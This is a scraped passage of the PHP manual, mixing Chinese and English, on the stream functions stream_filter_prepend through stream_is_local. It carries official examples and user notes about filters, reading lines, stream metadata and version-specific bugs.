This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                          With Regards
                              Hossein


Attach a filter to a stream

  • ? stream_filter_append
  • stream_filter_register ?
  • PHP Manual
  • Stream 函数
  • Attach a filter to a stream

stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_filter_prepend — Attach a filter to a stream

说明

stream_filter_prepend(
resource $stream,
string $filtername,
int $read_write = ?,
mixed $params = ?
): resource

Adds filtername to the list of filters attached to stream.

参数

stream

The target stream.

filtername

The filter name.

read_write

By default, stream_filter_prepend() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior. See stream_filter_append() for an example of using this parameter.

params

This filter will be added with the specified params to the beginning of the list and will therefore be called first during stream operations. To add a filter to the end of the list, use stream_filter_append().

返回值

Returns a resource on success or false on failure. The resource can be used to refer to this filter instance during a call to stream_filter_remove().

false is returned if stream is not a resource or if filtername cannot be located.

注释

Note: When using custom (user) filters
stream_filter_register() must be called first in order to register the desired user filter to filtername.

Note: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is prepended to a stream, data in the internal buffers, which has already been processed through other filters will not be reprocessed through the new filter at that time. This differs from the behavior of stream_filter_append().

Note: When a filter is added for read and write, two instances of the filter are created. stream_filter_prepend() must be called twice with STREAM_FILTER_READ and STREAM_FILTER_WRITE to get both filter resources.

参见

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


Register a user defined stream filter

  • ? stream_filter_prepend
  • stream_filter_remove ?
  • PHP Manual
  • Stream 函数
  • Register a user defined stream filter

stream_filter_register

(PHP 5, PHP 7, PHP 8)

stream_filter_register — Register a user defined stream filter

说明

stream_filter_register(string $filter_name, string $class): bool

stream_filter_register() allows you to implement your own filter on any registered stream used with all the other filesystem functions (such as fopen(), fread() etc.).

参数

filter_name

The filter name to be registered.

class

To implement a filter, you need to define a class as an extension of php_user_filter with a number of member functions. When performing read/write operations on the stream to which your filter is attached, PHP will pass the data through your filter (and any other filters attached to that stream) so that the data may be modified as desired. You must implement the methods exactly as described in php_user_filter - doing otherwise will lead to undefined behaviour.

返回值

成功时返回 true， 或者在失败时返回 false。

stream_filter_register() will return false if the filter_name is already defined.

示例

Example #1 Filter for capitalizing characters on foo-bar.txt stream

The example below implements a filter named strtoupper on the foo-bar.txt stream which will capitalize all letter characters written to/read from that stream.

<?php

/* Define our filter class */
class strtoupper_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) {
$bucket->data = strtoupper($bucket->data);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}

/* Register our filter with PHP */
stream_filter_register("strtoupper", "strtoupper_filter")
or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
*/
readfile("foo-bar.txt");

?>

以上示例会输出：

LINE1
WORD - 2
EASY AS 123

Example #2 Registering a generic filter class to match multiple filter names.

<?php

/* Define our filter class */
class string_filter extends php_user_filter {
var $mode;

function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) {
if ($this->mode == 1) {
$bucket->data = strtoupper($bucket->data);
} elseif ($this->mode == 0) {
$bucket->data = strtolower($bucket->data);
}

$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}

function onCreate()
{
if ($this->filtername == 'str.toupper') {
$this->mode = 1;
} elseif ($this->filtername == 'str.tolower') {
$this->mode = 0;
} else {
/* Some other str.* filter was asked for,
report failure so that PHP will keep looking */
return false;
}

return true;
}
}

/* Register our filter with PHP */
stream_filter_register("str.*", "string_filter")
or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened
We could alternately bind to str.tolower here */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
*/
readfile("foo-bar.txt");
?>

以上示例会输出：

LINE1
WORD - 2
EASY AS 123

参见

  • stream_wrapper_register() - 注册一个用 PHP 类实现的 URL 封装协议
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


从资源流里移除某个过滤器

  • ? stream_filter_register
  • stream_get_contents ?
  • PHP Manual
  • Stream 函数
  • 从资源流里移除某个过滤器

stream_filter_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_filter_remove — 从资源流里移除某个过滤器

说明

stream_filter_remove(resource $stream_filter): bool

移除之前通过 stream_filter_prepend() 或者 stream_filter_append() 添加到资源流里面的过滤器。 在移除之前，残留在过滤器内部缓冲区里的所有数据刷新到下一个过滤器。

参数

stream_filter

需要被移除的资源流过滤器。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 动态地重新过滤一个资源流

<?php
/* 打开测试文件进行读写 */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

?>

以上示例会输出：

Guvf vf a test

参见

  • stream_filter_register() - Register a user defined stream filter
  • stream_filter_append() - Attach a filter to a stream
  • stream_filter_prepend() - Attach a filter to a stream

User Contributed Notes

There are no user contributed notes for this page.


读取资源流到一个字符串

  • ? stream_filter_remove
  • stream_get_filters ?
  • PHP Manual
  • Stream 函数
  • 读取资源流到一个字符串

stream_get_contents

(PHP 5, PHP 7, PHP 8)

stream_get_contents — 读取资源流到一个字符串

说明

stream_get_contents(resource $stream, ?int $length = null, int $offset = -1): string|false

与 file_get_contents() 一样，但是 stream_get_contents() 是对一个已经打开的资源流进行操作，并将其内容写入一个字符串返回。 返回的内容取决于 length 字节长度和 offset 指定的起始位置。

参数

stream (resource)

一个资源流（例如 fopen() 操作之后返回的结果）

length (int)

需要读取的最大的字节数。默认为 null（读取全部的缓冲数据）。

offset (int)

在读取数据之前先查找指定的偏移量。如果这个数字是负数，就不进行查找，直接从当前位置开始读取。

返回值

返回一个字符串 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | 现在 length 可以为 null。

示例

Example #1 stream_get_contents() 例子

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
// 打印从开始的位置偏移 10 个字节后页面的所有内容
echo stream_get_contents($stream, -1, 10);

fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
// 打印前 5 个字节
echo stream_get_contents($stream, 5);

fclose($stream);
}

?>

注释

Note: 此函数可安全用于二进制对象。

Note:

当指定一个非 null 的 length 值时，即使实际内容要短得多，该函数也会立即分配一个内部缓冲区，其大小为指定的长度。

参见

  • fgets() - 从文件指针中读取一行
  • fread() - 读取文件（可安全用于二进制文件）
  • fpassthru() - 输出文件指针处的所有剩余数据

User Contributed Notes

fearpro13 at gmail dot com 04-Dec-2023 02:45
It states that $length parameter which value is null is intended to read all remaining contents from $stream
However, example listed under docs uses -1 as $length parameter to achieve such behavior

Recently i had to start few commands from php7.4 and read content from them, proc_open was used to create processes.
Both output[1] and error[2] pipes were set to non-blocking mode. For some unknown reason sometimes process error[2] channel was available, sometimes not(it was empty string).

After some investigation it was found that stream_get_contents works just great with -1 as a $length value instead of null if you are trying to get all remaining buffer.
Mike Shiyan 28-Jul-2016 01:49
stream_get_contents() can be used instead of fread() even with local files.
divinity76+nospam at gmail dot com 27-Dec-2015 11:24
/*
 * problem: stream_get_contents blocks / is very slow.
 * I have tried
 * 1: stream_set_blocking, doesn't make a difference.
 * 2: stream_get_meta_data['unread_bytes'] = ITS BUGGED, ALWAYS SAYS 0.
 * 3: feof(): ALSO EFFING BLOCKING
 * 4: my_stream_get_contents hack... kinda working! :D
 */
function my_stream_get_contents ($handle, $timeout_seconds = 0.5)
{
    $ret = "";
    // feof ALSO BLOCKS:
    // while(!feof($handle)){$ret.=stream_get_contents($handle,1);}
    while (true) {
        $starttime = microtime(true);
        $new = stream_get_contents($handle, 1);
        $endtime = microtime(true);
        if (is_string($new) && strlen($new) >= 1) {
            $ret .= $new;
        }
        $time_used = $endtime - $starttime;
        // var_dump('time_used:',$time_used);
        if (($time_used >= $timeout_seconds) || ! is_string($new) ||
                 (is_string($new) && strlen($new) < 1)) {
            break;
        }
    }
    return $ret;
}
vasiliy at hotger dot com 22-Mar-2012 08:38
It is important to know that stream_get_contents behaves differently with different versions of PHP. Consider the following

<?php

$handle = fopen('file', 'w+'); // truncate + attempt to create
fwrite($handle, '12345'); // file position > 0
rewind($handle); // position = 0
$content = stream_get_contents($handle); // file position = 0 in PHP 5.1.6, file position > 0 in PHP 5.2.17!
fwrite($handle, '6789');
fclose($handle);

/**
 *
 * 'file' content
 *
 * PHP 5.1.6:
 * 67895
 *
 * PHP 5.2.17:
 * 123456789
 *
 */
?>

As a result, stream_get_contents() affects file position in 5.1, and do not affect file position in 5.2 or better.
clarck dot smith at gmail dot com 17-Dec-2011 07:12
In that case when stream_get_contents/fread/fgets or other stream reading functions block indefinitely your script because they don't reached the limit of bytes to read use the socket_get_meta_data function to figure out the number of the bytes to read. It returns an array that contains a key named 'unread_bytes' and then pass that number to your favourite stream reading functions second parameter to read from the stream.

Maybe a good workaround to use the stream_select function, and set the socket to non-blocking mode with the use of stream_set_blocking($stream, 0). In this case the socket reading functions work properly.

Cheers, Ervin
m rahman 20-Jan-2011 01:53
When omitting the parameter $maxlength, any received bytes are stacked up until the underlying stream is not readable anymore, the the function returns that stack in one piece.


获取已注册的数据流过滤器列表

  • ? stream_get_contents
  • stream_get_line ?
  • PHP Manual
  • Stream 函数
  • 获取已注册的数据流过滤器列表

stream_get_filters

(PHP 5, PHP 7, PHP 8)

stream_get_filters — 获取已注册的数据流过滤器列表

说明

stream_get_filters(): array

获取当前运行系统中已注册的数据流过滤器列表。

参数

此函数没有参数。

返回值

返回一个包含所有有效的数据流过滤器名字的索引数组。

示例

Example #1 使用 stream_get_filters()

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

以上示例的输出类似于：

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

参见

  • stream_filter_register() - Register a user defined stream filter
  • stream_get_wrappers() - 获取已注册的流类型

User Contributed Notes

Jasper Bekkers 05-Oct-2005 11:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>


从资源流里读取一行直到给定的定界符

  • ? stream_get_filters
  • stream_get_meta_data ?
  • PHP Manual
  • Stream 函数
  • 从资源流里读取一行直到给定的定界符

stream_get_line

(PHP 5, PHP 7, PHP 8)

stream_get_line — 从资源流里读取一行直到给定的定界符

说明

stream_get_line(resource $stream, int $length, string $ending = ""): string|false

从给定的资源流里读取一行。

当读取到 length 个字节数就结束，或者当在读取的非空字符串中发现 ending （不包含到返回值里）也结束，又或者遇到了 EOF 也结束（总之以上条件中哪个先出现就以哪个为准）。

这个函数与 fgets() 几乎是相同的，唯一的区别是在这个函数里面允许指定行尾的定界符，而不是使用标准的 \n， \r 还有 \r\n ，并且返回值中不包含定界符。（翻译注：也可以把 \n 等作为定界符传入 ending ）

参数

stream

一个有效的文件句柄。

length

需要从句柄中读取的最大字节数。不支持负值。 0 表示默认的套接字块大小（socket chunk size），即 8192 字节。

ending

可选参数，字符串定界符。

返回值

返回一个字符串，该字符串的内容根据 length 字节数从 stream 里读取， 或者在失败时返回 false。

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fgets() - 从文件指针中读取一行
  • fgetc() - 从文件指针中读取字符

User Contributed Notes

codertookode at xport dot top 10-Jun-2023 10:23
Simple example I've used with websocket and found it faster than feof

while(($line = stream_get_line($sock, 0, "\r\n"))  !==  false){
    echo $line;
}
kjeld at mail4us dot dk 21-Mar-2013 10:56
I have been struggling with the problem that stream_get_line() sometimes reads too much when the 3rd parameter is used (and the 3rd parameter has a length greater than 1), so $ending is actually contained in the data returned (https://bugs.php.net/bug.php?id=63240).

I don't have the option of upgrading my PHP version but it seems that a workaround can be to insert:

    fseek($fp, ftell($fp));

just before calling stream_get_line().
carltondickson 08-Jan-2013 04:25
If you are specifying the 3rd optional "ending" parameter as a string which is more than one character and actually find that the line returned by the function sometimes contains this "ending" value it may be related to the following bug, https://bugs.php.net/bug.php?id=63240

Our server was running 5.3.18 and when we upgraded to 5.3.20 it worked fine, I believe this was fixed in 5.3.19 though.
Anonymous 08-Jul-2012 03:35
WARNING:
Specifying a length of 0 does NOT give you an infinite length, contrary to what the documentation might suggest. Instead, setting a length of 0 just makes the function default to a length of 8192. To be precise, it gets the value PHP_SOCK_CHUNK_SIZE (8192) in ext/standard/streamsfuncs.c.

So, let's say you're trying to read ALL data until you reach a "\x03" (decimal 3) byte. How do you GUARANTEE that this is the case? Well, there's no way! The only thing you can do stream_get_lin() into a "master" string, then fseek() backwards by 1 character, then fgetc() and verify that it's "\x03". If you don't see a "\x03", it means that stream_get_line() has aborted after 8192 bytes and before hitting "\x03", and you'll have to call it again. Keep appending the return values to a "master" string until you hit a "\x03" or EOF... That's the ONLY way to properly build a string that contains EVERYTHING until the character you're looking for.
pk at ritm dot ru 30-Nov-2009 09:30
fgets is faster but stream_get_line is more useful in a tcp server scripts.

when fgets reads some bytes from socket, where EOF is reached, it returns bool(false) same as stream_get_line

BUT if remote client drops connection, and server script will try to read some data with function fgets, function will return bool(false), and stream_get_line will return string(0) ""

so you can detect remote client disconnection with stream_get_line, and cannot with fgets
amoo_miki at yahoo dot com 19-Aug-2008 10:34
If the "ending" is a string, there are cases where the function doesn't return the correct value for the first time it is called. Don't be shocked if you find it returning a string value of upto "length" that includes the "ending". (See bug #44607)

If the "ending" is just a single character, the function would always work correctly. ("\n" is a single character)

Temporarily, until this is fixed, the below function can be used:

<?php
function istream_get_line(&$fp, $length, $end) {
    $current = ftell($fp);
    $str = fread($fp, $length);
    $i = strpos($str, $end);
    if ($i === FALSE) {
        return $str;
    } else {
        fseek($fp, $current + $i + strlen($end));
        return substr($str, 0, $i);
    }
}
?>
Mat Jaggard at Tickets dot com 20-Dec-2007 08:12
I've spent quite a while trying to get stream_get_line to get a chunk encoded html file and to finish correctly at the end so that I can pipeline requests.

This is the function I have come up with.

<?php
    function getURLContents($url, $ip, $port, $ssl = false, $closeConnection = false)
    {
        if ($ssl)
            $ssl = 'ssl://';
        else
            $ssl = '';
        $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
        if ($fp)
        {
            $out =  'GET '.$url." HTTP/1.1\r\n";
            $out .= 'Host: '.$ip.':'.$port."\r\n";
            if ($closeConnection)
                $out .= "Connection: close\r\n";
            else
                $out .= "Connection: keep-alive\r\n";
            $out .= "\r\n";
            if (!fwrite($fp, $out))
            {
                echo 'Problem writing to socket, opening a new connection.';
                fclose($fp);
                $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
                fwrite($fp, $out);
            }
            $theData = '';
            $notDone = true;
            stream_set_blocking($fp, 0);
            $startTime = time();
            $lastTime = $startTime;
            while (!feof($fp) && !$done && (($startTime + MAX_TIME_FOR_THE_RESPONSE) > time()))
            {
                usleep(100);
                $theNewData = stream_get_line($fp, 1024, "\n");
                $theData .= $theNewData;
                $done = (trim($theNewData) === '0');

            }
        }
        else
        {
            echo 'ERROR CONNECTING TO '.$ip.':'.$port;
            return false;
        }
        if ($closeConnection)
            fclose($fp);
        return $theData;
    }
?>
dante at lorenso dot com 08-Jun-2006 12:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
    $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
    $line = stream_get_line($handle, 1000000, "\n");
}
?>
18-Apr-2006 02:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
      fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.


从流或文件指针中获取 header/meta 数据

  • ? stream_get_line
  • stream_get_transports ?
  • PHP Manual
  • Stream 函数
  • 从流或文件指针中获取 header/meta 数据

stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_get_meta_data — 从流或文件指针中获取 header/meta 数据

说明

stream_get_meta_data(resource $stream): array

返回现有 stream 的有关信息。

参数

stream

流可以是通过 fopen()、fsockopen()、 pfsockopen()、stream_socket_client() 创建的任何流。

返回值

返回的数组包含以下元素：

  • timed_out（bool）——如果流在最后调用 fread() 或 fgets() 时等待超时，则为 true。

  • blocked（bool）——如果流是堵塞 IO 模式，则为 true。参见 stream_set_blocking()。

  • eof（bool）——如果流已经到达文件结尾（end-of-file），则为 true。 注意套接字流即使 unread_bytes 不为零也可以为 true。确定是否还可以读取更多数据，使用 feof() 而不是读取此值。

  • unread_bytes（int）——当前在 PHP 内部缓冲区的字节数。

    Note: 不要在脚本中使用此值。

  • stream_type（string）——描述了流底层实现的标记。

  • wrapper_type（string）——描述了在流之上的协议封装实现的标记。更多关于封装协议的信息见 支持的协议和封装协议。

  • wrapper_data（mixed）——当前流附加的封装协议数据。更多封装协议及其数据的信息见 支持的协议和封装协议。

  • mode（string）——对当前流所要求的访问类型（见 fopen() 参考中的表格 1）。

  • seekable（bool）——是否可以在当前流中定位。

  • uri（string）——与当前流关联的 URI 或文件名。

  • crypto（array）——当前流的 TLS 连接元数据。（注意：仅在资源流使用 TLS 时提供。）

示例

Example #1 stream_get_meta_data() 示例，fopen() 和 http 一起使用

<?php
$url = 'http://www.example.com/';

if (!$fp = fopen($url, 'r')) {
trigger_error("Unable to open URL ($url)", E_USER_ERROR);
}

$meta = stream_get_meta_data($fp);

var_dump($meta);

fclose($fp);
?>

以上示例的输出类似于：

array(10) {
  'timed_out' =>
  bool(false)
  'blocked' =>
  bool(true)
  'eof' =>
  bool(false)
  'wrapper_data' =>
  array(13) {
    [0] =>
    string(15) "HTTP/1.1 200 OK"
    [1] =>
    string(11) "Age: 244629"
    [2] =>
    string(29) "Cache-Control: max-age=604800"
    [3] =>
    string(38) "Content-Type: text/html; CHARSET=gb2312"
    [4] =>
    string(35) "Date: Sat, 20 Nov 2021 18:17:57 GMT"
    [5] =>
    string(24) "Etag: "3147526947+ident""
    [6] =>
    string(38) "Expires: Sat, 27 Nov 2021 18:17:57 GMT"
    [7] =>
    string(44) "Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT"
    [8] =>
    string(22) "Server: ECS (chb/0286)"
    [9] =>
    string(21) "Vary: Accept-Encoding"
    [10] =>
    string(12) "X-Cache: HIT"
    [11] =>
    string(20) "Content-Length: 1256"
    [12] =>
    string(17) "Connection: close"
  }
  'wrapper_type' =>
  string(4) "http"
  'stream_type' =>
  string(14) "tcp_socket/ssl"
  'mode' =>
  string(1) "r"
  'unread_bytes' =>
  int(1256)
  'seekable' =>
  bool(false)
  'uri' =>
  string(23) "http://www.example.com/"
}

Example #2 stream_get_meta_data() 示例，stream_socket_client() 和 https 一起使用

<?php
$streamContext = stream_context_create(
[
'ssl' => [
'capture_peer_cert' => true,
'capture_peer_cert_chain' => true,
'disable_compression' => true,
],
]
);

$client = stream_socket_client(
'ssl://www.example.com:443',
$errorNumber,
$errorDescription,
40,
STREAM_CLIENT_CONNECT,
$streamContext
);

$meta = stream_get_meta_data($client);

var_dump($meta);
?>

以上示例的输出类似于：

array(8) {
  'crypto' =>
  array(4) {
    'protocol' =>
    string(7) "TLSv1.3"
    'cipher_name' =>
    string(22) "TLS_AES_256_GCM_SHA384"
    'cipher_bits' =>
    int(256)
    'cipher_version' =>
    string(7) "TLSv1.3"
  }
  'timed_out' =>
  bool(false)
  'blocked' =>
  bool(true)
  'eof' =>
  bool(false)
  'stream_type' =>
  string(14) "tcp_socket/ssl"
  'mode' =>
  string(2) "r+"
  'unread_bytes' =>
  int(0)
  'seekable' =>
  bool(false)
}

注释

Note:

本函数对通过 Socket 扩展创建的套接字无效。

参见

  • get_headers() - 取得服务器响应 HTTP 请求所发送的所有标头
  • $http_response_header

User Contributed Notes

derkontrollfreak+9hy5l at gmail dot com 24-Aug-2014 09:11
Apparently, custom wrappers are always seekable.
php dot chaska at xoxy dot net 06-Jun-2014 08:42
In PHP 5.4.24 and 5.4.25, this command does not correctly return the stream blocking status.  It always returns ['blocked'] == 1 regardless of the actual blocking mode.  A call to stream_set_blocking($stream, 0) will succeed (return TRUE) and subsequent calls to stream_get_contents($stream) will NOT block, even though a call to stream_get_meta_data($stream) will return 'blocked' == 1.  Hopefully this will save some people a bunch of debugging time.

See bug report #47918 for more information (http://bugs.php.net/bug.php?id=47918).

Proof:
<?php
$d = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('file', 'error.log', 'a')
);

$p = proc_open('php -S localhost:8000', $d, $pipes);

if (!is_resource($p))   die("proc_open() failed\n");

// Set child's stdout pipe to non-blocking.
if (!stream_set_blocking($pipes[1], 0)) {
    die("stream_set_blocking() failed\n");
}
else {
    echo "Non-blocking mode should be set.\n";
}

// View the status of that same pipe.
// Note that 'blocked' is 1!  This appears to be wrong.
print_r(stream_get_meta_data($pipes[1]));

// Try to read something.  This will block if in blocking mode.
// If it does not block, stream_set_blocking() worked but
// stream_get_meta_data() is lying about blocking mode.
$data = stream_get_contents($pipes[1]);

echo "data = '$data'\n";
?>

Output:
Non-blocking mode should be set.
Array
(
    [stream_type] => STDIO
    [mode] => r
    [unread_bytes] => 0
    [seekable] =>
    [timed_out] =>
    [blocked] => 1         // << claims to be in blocking mode
    [eof] =>
)
data = ''                      // this would never appear if we blocked.
niels at nise81 dot com 03-Mar-2008 05:49
here is just an example how to read out all meta data.
how ever I found out that the "seekable"-entry doesn't exist in most of the streaming media files.

      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);

          foreach(array_keys($meta) as $h){
              $v = $meta[$h];
              echo "".$h.": ".$v."<br/>";
              if(is_array($v)){
                  foreach(array_keys($v) as $hh){
                      $vv = $v[$hh];
                      echo "_".$hh.": ".$vv."<br/>";
                  }
              }
          }
      fclose($fp);
ed at readinged dot com 28-Jan-2003 07:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
      echo 'URL is older than an hour.';
   else
      echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);
      for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
      {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
            $modtime = substr($meta['wrapper_data'][$j], 15);
            break;
         }
      }
      fclose($fp);
   }
   else
   {
      $parts = parse_url($url);
      $host  = $parts['host'];
      $path  = $parts['path'];

      if (!($fp = @fsockopen($host, 80)))
         return NULL;

      $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
      fputs($fp, $req);

      while (!feof($fp))
      {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
            $modtime = substr($str, 15);
            break;
         }
      }
      fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}


获取已注册的套接字传输协议列表

  • ? stream_get_meta_data
  • stream_get_wrappers ?
  • PHP Manual
  • Stream 函数
  • 获取已注册的套接字传输协议列表

stream_get_transports

(PHP 5, PHP 7, PHP 8)

stream_get_transports — 获取已注册的套接字传输协议列表

说明

stream_get_transports(): array

返回一个包含当前运行系统中所有套接字传输协议名称的索引数组。

参数

此函数没有参数。

返回值

返回一个套接字传输协议名称的索引数组。

示例

Example #1 使用 stream_get_transports()

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

以上示例的输出类似于：

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

参见

  • stream_get_filters() - 获取已注册的数据流过滤器列表
  • stream_get_wrappers() - 获取已注册的流类型

User Contributed Notes

There are no user contributed notes for this page.


获取已注册的流类型

  • ? stream_get_transports
  • stream_is_local ?
  • PHP Manual
  • Stream 函数
  • 获取已注册的流类型

stream_get_wrappers

(PHP 5, PHP 7, PHP 8)

stream_get_wrappers — 获取已注册的流类型

说明

stream_get_wrappers(): array

获取在当前运行系统中已经注册并可使用的流类型列表。

参数

此函数没有参数。

返回值

返回一个索引数组，该数组里包含了当前运行系统中可使用的流类型的名称。

示例

Example #1 stream_get_wrappers() 例子

<?php
print_r(stream_get_wrappers());
?>

以上示例的输出类似于：

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

Example #2 检查一个流类型是否存在

<?php
// 检查是否存在 bzip2 流包装器
if (in_array('compress.bzip2', stream_get_wrappers())) {
echo 'compress.bzip2:// support enabled.';
} else {
echo 'compress.bzip2:// support not enabled.';
}
?>

参见

  • stream_wrapper_register() - 注册一个用 PHP 类实现的 URL 封装协议

User Contributed Notes

There are no user contributed notes for this page.


Checks if a stream is a local stream

  • ? stream_get_wrappers
  • stream_isatty ?
  • PHP Manual
  • Stream 函数
  • Checks if a stream is a local stream

stream_is_local

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

stream_is_local — Checks if a stream is a local stream

说明

stream_is_local(resource|string $stream): bool

Checks if a stream, or a URL, is a local one or not.

参数

stream

The stream resource or URL to check.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 stream_is_local() example

Basic usage example.

<?php
var_dump(stream_is_local("http://example.com"));
var_dump(stream_is_local("/etc"));
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

nryabov 03-Nov-2021 11:23
<?php
$file1 = '/somefile.jpg';
$file2 = 'file://shouldbelocal.jpg';
$file3 = 'http://someotherfile.jpg';
$file4 = 'file:///indeedlocal.jpg'; // Please note '///' instead of '//'

$local = stream_is_local($file1);
$shouldbelocal = stream_is_local($file2);
$remote = stream_is_local($file3);
$indeedlocal = stream_is_local($file4);
var_dump($local, $shouldbelocal, $remote, $indeedlocal);
Gemorroj 17-Feb-2018 09:20
but hhvm for `file://shouldbelocal.jpg` returns true
https://3v4l.org/ULCni
php at kalpaitch dot com 24-May-2017 10:33
It appears to return incorrectly for 'file://' wrapper which I would consider to be local.

CODE:
$file1 = '/somefile.jpg';
$file2 = 'file://shouldbelocal.jpg';
$file3 = 'http://someotherfile.jpg';

$local = stream_is_local($file1);
$shouldbelocal = stream_is_local($file2);
$remote = stream_is_local($file3);
var_dump($local, $shouldbelocal, $remote);

RESULT:
bool(true)
bool(false)
bool(false)
Anonymous 20-Feb-2017 02:30
this is not a bug
mounting a remote filesystem locally "imports" it so it is available to userland programs like a local directory.
sam at NOSPAM dot bogus dot tld 22-Nov-2016 12:56
